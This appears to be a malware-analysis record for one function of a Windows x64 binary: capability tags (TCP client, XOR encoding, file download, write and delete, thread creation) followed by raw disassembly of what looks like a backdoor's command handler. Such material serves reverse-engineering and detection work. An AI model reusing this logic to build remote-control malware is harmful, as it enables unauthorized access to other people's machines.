Function at 0x1400130f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket
Create thread
Delete file
Download and write a file
Encode data using xor
Get socket status
Initialize winsock library
Receive and write data from server to client
Receive data
Receive data on socket
Set socket configuration
Write file on windows

Disassembly:
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x11a0]
mov eax, 0x12a0
call fcn.140052680
sub rsp, rax
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rsp + 0x12d0], rbx
mov qword [rsp + 0x12e0], rsi
mov qword [rsp + 0x12e8], rdi
mov rax, qword [0x14006d018]
xor rax, rsp
mov qword [rbp + 0x1190], rax
mov r13, qword [0x1400721a0]
mov qword [rbp - 0x60], r13
mov dil, 1
mov dword [rsp + 0x30], edi
cmp edx, 0x14
ja case.0x140013170.1
movsxd rax, edx
lea rdx, [0x140000000]
mov ecx, dword [rdx + rax*4 + 0x15348]
add rcx, rdx
jmp rcx
xor esi, esi
mov dword [rsp + 0x40], esi
mov edi, esi
nop word [rax + rax]
mov r8d, 4
sub r8d, edi
mov eax, edi
lea rdx, [rsp + 0x40]
add rdx, rax
xor r9d, r9d
mov rcx, qword [r13 + 0x80090]
call qword [sym.imp.WS2_32.dll_recv]
lea rbx, [0x1400723b0]
mov r15, 0xffffffffffffffff
cmp eax, 0xffffffff
je 0x140013223
add edi, eax
cmp edi, 4
jb 0x140013180
mov rdx, r15
inc rdx
cmp byte [rbx + rdx], sil
jne 0x1400131c0
test edx, edx
je 0x14001320e
movzx eax, byte [0x1400723b0]
xor byte [rsp + 0x40], al
mov eax, esi
cmp edx, 1
setne al
mov ecx, eax
movzx eax, byte [rcx + rbx]
xor byte [rsp + 0x41], al
inc ecx
mov eax, esi
cmp ecx, edx
cmovne eax, ecx
mov ecx, eax
movzx eax, byte [rax + rbx]
xor byte [rsp + 0x42], al
inc ecx
mov eax, esi
cmp ecx, edx
cmovne eax, ecx
movzx eax, byte [rax + rbx]
xor byte [rsp + 0x43], al
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_ntohl]
mov dword [rsp + 0x40], eax
mov r12d, dword [rsp + 0x30]
jmp 0x140013226
xor r12b, r12b
xor edx, edx
mov r8d, 0x1000
lea rcx, [rbp + 0x190]
call fcn.1400385a0
mov r14d, dword [rsp + 0x40]
mov edi, esi
test r14d, r14d
je 0x140013280
nop word [rax + rax]
mov r8d, r14d
sub r8d, edi
mov eax, edi
lea rdx, [rbp + 0x190]
add rdx, rax
xor r9d, r9d
mov rcx, qword [r13 + 0x80090]
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x1400132ef
add edi, eax
cmp edi, r14d
jb 0x140013250
nop
inc r15
cmp byte [rbx + r15], sil
jne 0x140013280
test r15d, r15d
je 0x1400132ce
test r14d, r14d
jle 0x1400132ce
mov rcx, rsi
movsxd r9, r15d
lea rdx, [rbp + 0x190]
mov r8, r14
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rcx + rbx]
xor byte [rdx], al
lea rax, [rcx + 1]
lea rdx, [rdx + 1]
mov rcx, rsi
cmp rax, r9
cmovne rcx, rax
sub r8, 1
jne 0x1400132b0
mov r8d, dword [rsp + 0x40]
lea rdx, [rbp + 0x190]
mov rcx, rbx
call fcn.140038190
mov rcx, r13
call fcn.14000d6a0
jmp 0x140015272
xor r12b, r12b
jmp 0x1400132ce
xor esi, esi
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], send
mov byte [rbp - 0x80], sil
xor r8d, r8d
lea rdx, [0x140061ccf]
lea rcx, [rbp - 0x80]
call fcn.140015820
nop
lea rdx, [rbp - 0x80]
mov rcx, r13
call fcn.140012fa0
test al, al
jne 0x140013371
xor r12b, r12b
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140015272
mov rcx, qword [rbp - 0x80]
inc rdx
cmp rdx, 0x1000
mov rax, rcx
jb 0x140013367
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400152c4
call fcn.14001a344
jmp 0x140015272
mov ecx, esi
mov rax, rsi
mov edx, 0x4f
lea r14, [0x14006dc60]
cmp byte [rax + r14], 0
je 0x14001339c
nop dword [rax]
inc ecx
inc rax
cmp byte [rax + r14], 0
jne 0x140013390
inc ecx
inc rax
sub rdx, 1
jne 0x140013382
movsxd rdx, ecx
add rdx, r14
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], send
mov byte [rbp - 0x50], 0
mov r15, 0xffffffffffffffff
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400133d0
lea rcx, [rbp - 0x50]
call fcn.140015820
nop
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], send
mov byte [rsp + 0x48], 0
mov r12, qword [rbp - 0x40]
mov r8, r12
cmp qword [rbp - 0x70], r12
cmovb r8, qword [rbp - 0x70]
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
lea rcx, [rsp + 0x48]
call fcn.140015820
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rdx, qword [rbp - 0x50]
lea rcx, [rsp + 0x48]
mov rbx, qword [rsp + 0x48]
mov r13, qword [rsp + 0x60]
cmp r13, 0x10
cmovae rcx, rbx
mov r8, qword [rsp + 0x58]
cmp r8, r12
jne 0x14001345c
call fcn.140052830
test eax, eax
jne 0x14001345c
mov dil, 1
jmp 0x14001345f
xor dil, dil
cmp r13, 0x10
jb 0x140013496
lea rdx, [r13 + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14001348e
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400152e2
mov rcx, rbx
call fcn.14001a344
test dil, dil
je 0x1400135f2
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], send
mov byte [rbp - 0x30], 0
mov rax, qword [rbp - 0x70]
cmp rax, r12
jb 0x1400152d6
sub rax, r12
mov r8, r15
cmp rax, r15
cmovb r8, rax
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
add rdx, r12
lea rcx, [rbp - 0x30]
call fcn.140015820
nop
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rsi
lea r12, [rbp - 0x30]
mov r14, qword [rbp - 0x30]
mov r13, qword [rbp - 0x18]
cmp r13, 0x10
cmovae r12, r14
mov rdi, qword [rbp - 0x20]
cmp rdi, 0x10
jae 0x140013521
movups xmm0, xmmword [r12]
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x60], send
jmp 0x140013595
mov rbx, rdi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
lea rax, [rbx + 1]
cmp rax, 0x1000
jb 0x14001356c
lea rcx, [rax + 0x27]
cmp rcx, rax
cmovbe rcx, r15
call fcn.14001a34c
test rax, rax
je 0x1400152dc
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14001357c
test rax, rax
je 0x14001357c
mov rcx, rax
call fcn.14001a34c
mov rsi, rax
mov qword [rsp + 0x48], rsi
lea r8, [rdi + 1]
mov rdx, r12
mov rcx, rsi
call fcn.140038190
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x58], rdi
mov r8d, 2
lea rdx, [rsp + 0x48]
mov rcx, qword [rbp - 0x60]
call fcn.14000e5c0
mov byte [rsp + 0x30], al
cmp r13, 0x10
jb 0x140013d1b
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x1400135e5
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400152e2
mov rcx, r14
call fcn.14001a344
jmp 0x140013d1b
mov ecx, esi
mov r8d, esi
nop word [rax + rax]
movsxd rdx, ecx
add rdx, r14
cmp byte [rdx], 0
je 0x14001361b
nop dword [rax + rax]
inc ecx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x140013610
inc ecx
movsxd rdx, ecx
add rdx, r14
cmp byte [rdx], 0
je 0x14001363b
nop dword [rax + rax]
inc ecx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x140013630
inc ecx
movsxd rdx, ecx
add rdx, r14
cmp byte [rdx], 0
je 0x14001365b
nop dword [rax + rax]
inc ecx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x140013650
inc ecx
movsxd rdx, ecx
add rdx, r14
cmp byte [rdx], 0
je 0x14001367b
nop dword [rax + rax]
inc ecx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x140013670
inc ecx
movsxd rdx, ecx
add rdx, r14
cmp byte [rdx], 0
je 0x14001369b
nop dword [rax + rax]
inc ecx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x140013690
inc ecx
movsxd rdx, ecx
add rdx, r14
cmp byte [rdx], 0
je 0x1400136bb
nop dword [rax + rax]
inc ecx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x1400136b0
inc ecx
movsxd rdx, ecx
add rdx, r14
cmp byte [rdx], 0
je 0x1400136db
nop dword [rax + rax]
inc ecx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x1400136d0
inc ecx
movsxd rdx, ecx
add rdx, r14
cmp byte [rdx], 0
je 0x1400136fb
nop dword [rax + rax]
inc ecx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x1400136f0
inc ecx
movsxd rdx, ecx
add rdx, r14
cmp byte [rdx], 0
je 0x14001371b
nop dword [rax + rax]
inc ecx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x140013710
inc ecx
movsxd rdx, ecx
add rdx, r14
cmp byte [rdx], 0
je 0x14001373b
nop dword [rax + rax]
inc ecx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x140013730
inc ecx
movsxd rdx, ecx
add rdx, r14
cmp byte [rdx], 0
je 0x14001375b
nop dword [rax + rax]
inc ecx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x140013750
inc ecx
movsxd rdx, ecx
add rdx, r14
cmp byte [rdx], 0
je 0x14001377b
nop dword [rax + rax]
inc ecx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x140013770
inc ecx
movsxd rdx, ecx
add rdx, r14
cmp byte [rdx], 0
je 0x14001379b
nop dword [rax + rax]
inc ecx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x140013790
inc ecx
movsxd rdx, ecx
add rdx, r14
cmp byte [rdx], 0
je 0x1400137bb
nop dword [rax + rax]
inc ecx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x1400137b0
inc ecx
movsxd rdx, ecx
add rdx, r14
cmp byte [rdx], 0
je 0x1400137db
nop dword [rax + rax]
inc ecx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x1400137d0
inc ecx
movsxd rdx, ecx
add rdx, r14
cmp byte [rdx], 0
je 0x1400137fb
nop dword [rax + rax]
inc ecx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x1400137f0
inc ecx
movsxd rdx, ecx
add rdx, r14
cmp byte [rdx], 0
je 0x14001381b
nop dword [rax + rax]
inc ecx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x140013810
inc ecx
movsxd rdx, ecx
add rdx, r14
cmp byte [rdx], 0
je 0x14001383b
nop dword [rax + rax]
inc ecx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x140013830
inc ecx
movsxd rdx, ecx
add rdx, r14
cmp byte [rdx], 0
je 0x14001385b
nop dword [rax + rax]
inc ecx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x140013850
inc ecx
movsxd rdx, ecx
add rdx, r14
cmp byte [rdx], 0
je 0x14001387b
nop dword [rax + rax]
inc ecx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x140013870
inc ecx
add r8d, 0x14
cmp r8d, 0x50
jl 0x140013600
movsxd rdx, ecx
add rdx, r14
mov rbx, r15
inc rbx
cmp byte [rdx + rbx], 0
jne 0x140013894
lea rcx, [rbp - 0x80]
mov r13, qword [rbp - 0x80]
mov r12, qword [rbp - 0x68]
cmp r12, 0x10
cmovae rcx, r13
mov rdi, qword [rbp - 0x70]
mov r8, rdi
cmp rbx, rdi
cmovb r8, rbx
call fcn.140052830
test eax, eax
jne 0x140013933
cmp rdi, rbx
jb 0x140013933
ja 0x140013933
mov rbx, qword [rbp - 0x60]
mov rcx, qword [rbx + 0x800b0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x800b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14000de40
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], send
mov byte [rbp - 0x30], 0
xor r8d, r8d
lea rdx, [0x140061ccf]
lea rcx, [rbp - 0x30]
call fcn.140015820
mov r8d, 2
lea rdx, [rbp - 0x30]
mov rcx, rbx
call fcn.14000e0e0
mov byte [rsp + 0x30], al
jmp 0x140013d23
mov edx, esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x14001394b
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140013940
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x14001396b
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140013960
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x14001398b
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140013980
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x1400139ab
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400139a0
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x1400139cb
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400139c0
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x1400139eb
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400139e0
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x140013a0b
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140013a00
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x140013a2b
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140013a20
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x140013a4b
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140013a40
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x140013a6b
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140013a60
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x140013a8b
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140013a80
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x140013aab
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140013aa0
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x140013acb
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140013ac0
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x140013aeb
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140013ae0
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x140013b0b
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140013b00
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x140013b2b
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140013b20
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x140013b4b
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140013b40
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x140013b6b
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140013b60
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x140013b8b
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140013b80
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x140013bab
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140013ba0
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x140013bcb
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140013bc0
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x140013beb
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140013be0
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x140013c0b
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140013c00
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x140013c2b
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140013c20
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x140013c4b
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140013c40
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x140013c6b
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140013c60
inc esi
movsxd rcx, esi
add rcx, r14
cmp byte [rcx], 0
je 0x140013c8b
nop dword [rax + rax]
inc esi
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140013c80
inc esi
add edx, 0x1b
cmp edx, 0x51
jl 0x140013935
movsxd rdx, esi
add rdx, r14
nop
inc r15
cmp byte [rdx + r15], 0
jne 0x140013ca0
lea rcx, [rbp - 0x80]
cmp r12, 0x10
cmovae rcx, r13
mov r8, rdi
cmp r15, rdi
cmovb r8, r15
call fcn.140052830
test eax, eax
jne 0x140013cf8
cmp rdi, r15
jb 0x140013cf8
ja 0x140013cf8
mov rbx, qword [rbp - 0x60]
mov rcx, qword [rbx + 0x800d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x800d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14000e320
jmp 0x140013d23
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x30]
call fcn.1400155d0
mov r8d, 2
mov rdx, rax
mov rcx, qword [rbp - 0x60]
call fcn.14000e0e0
mov byte [rsp + 0x30], al
mov r12, qword [rbp - 0x68]
mov r13, qword [rbp - 0x80]
mov rax, qword [rbp - 0x38]
cmp rax, 0x10
jb 0x140013d60
lea rdx, [rax + 1]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013d5a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400152e8
call fcn.14001a344
nop
cmp r12, 0x10
jb case.0x140013170.1
lea rdx, [r12 + 1]
mov rax, r13
cmp rdx, 0x1000
jb 0x140013d94
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400152c4
mov rcx, r13
jmp 0x140015268
xor esi, esi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], send
mov byte [rsp + 0x48], sil
xor r8d, r8d
lea rdx, [0x140061ccf]
lea rcx, [rsp + 0x48]
call fcn.140015820
nop
mov qword [rbp - 0x38], 7
mov qword [rbp - 0x40], rsi
mov word [rbp - 0x50], si
lea rdx, [rsp + 0x48]
mov rcx, r13
call fcn.140012fa0
test al, al
jne 0x140013e84
xor r12b, r12b
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x140013e2e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013e29
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400152f4
call fcn.14001a344
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], si
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140015272
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013e7a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400152ac
call fcn.14001a344
jmp 0x140015272
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x30]
call fcn.140016930
nop
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x80]
call fcn.1400153a0
mov r8d, 3
mov rdx, rax
mov rcx, r13
call fcn.14000e800
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x140013ef2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013eed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400152ee
call fcn.14001a344
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], 7
mov word [rbp - 0x30], si
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x140013f42
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013f3d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400152f4
call fcn.14001a344
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], si
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb case.0x140013170.1
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015268
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400152ac
jmp 0x140015268
xor esi, esi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], send
mov byte [rsp + 0x48], sil
xor r8d, r8d
lea rdx, [0x140061ccf]
lea rcx, [rsp + 0x48]
call fcn.140015820
nop
lea rdx, [rsp + 0x48]
mov rcx, r13
call fcn.140012fa0
test al, al
jne 0x14001401b
xor r12b, r12b
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140015272
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014011
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400152b2
call fcn.14001a344
jmp 0x140015272
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x30]
call fcn.140016930
nop
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x50]
call fcn.1400153a0
mov r8d, 4
mov rdx, rax
mov rcx, r13
call fcn.140010060
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x140014089
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014084
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400152fa
call fcn.14001a344
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], 7
mov word [rbp - 0x30], si
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb case.0x140013170.1
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015268
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400152b2
jmp 0x140015268
xor esi, esi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], send
mov byte [rsp + 0x48], sil
xor r8d, r8d
lea rdx, [0x140061ccf]
lea rcx, [rsp + 0x48]
call fcn.140015820
nop
lea rdx, [rsp + 0x48]
mov rcx, r13
call fcn.140012fa0
test al, al
jne 0x140014162
xor r12b, r12b
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140015272
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014158
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400152b8
call fcn.14001a344
jmp 0x140015272
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x30]
call fcn.140016930
nop
mov ecx, 0x28
call fcn.14001a34c
mov rbx, rax
mov qword [rsp + 0x70], rax
lea rdx, [rbp - 0x30]
mov rcx, rax
call fcn.1400153a0
lea rax, [0x14000cd10]
mov qword [rbx + 0x20], rax
mov qword [rsp + 0x70], rbx
lea rax, [rbp - 0x58]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
mov r9, rbx
lea r8, [0x1400167b0]
xor edx, edx
xor ecx, ecx
call fcn.1400415a0
mov qword [rbp - 0x60], rax
test rax, rax
je 0x140015300
cmp dword [rbp - 0x58], 0
je 0x14001530e
movaps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp - 0x80]
call fcn.14001923c
test eax, eax
jne 0x140015319
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x60], xmm0
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x140014238
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014233
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015321
call fcn.14001a344
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], 7
mov word [rbp - 0x30], si
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb case.0x140013170.1
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015268
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400152b8
jmp 0x140015268
xor esi, esi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], send
mov byte [rsp + 0x48], sil
xor r8d, r8d
lea rdx, [0x140061ccf]
lea rcx, [rsp + 0x48]
call fcn.140015820
nop
lea rdx, [rsp + 0x48]
mov rcx, r13
call fcn.140012fa0
test al, al
jne 0x140014311
xor r12b, r12b
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140015272
inc rdx
mov rcx, qword [rsp + 0x48]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140014307
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400152be
call fcn.14001a344
jmp 0x140015272
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x50]
call fcn.140016930
nop
mov ecx, esi
lea r14, [0x14006dc60]
cmp byte [0x14006dc60], sil
je 0x140014340
mov rax, r14
inc ecx
lea rax, [rax + 1]
cmp byte [rax], 0
jne 0x140014335
inc ecx
movsxd rdx, ecx
add rdx, r14
cmp byte [rdx], 0
je 0x14001435b
nop dword [rax]
inc ecx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x140014350
inc ecx
movsxd rdx, ecx
add rdx, r14
cmp byte [rdx], 0
je 0x14001437b
nop dword [rax + rax]
inc ecx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x140014370
inc ecx
movsxd rdx, ecx
add rdx, r14
cmp byte [rdx], 0
je 0x14001439b
nop dword [rax + rax]
inc ecx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x140014390
inc ecx
movsxd rdx, ecx
add rdx, r14
cmp byte [rdx], 0
je 0x1400143bb
nop dword [rax + rax]
inc ecx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x1400143b0
inc ecx
movsxd rdi, ecx
add rdi, r14
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
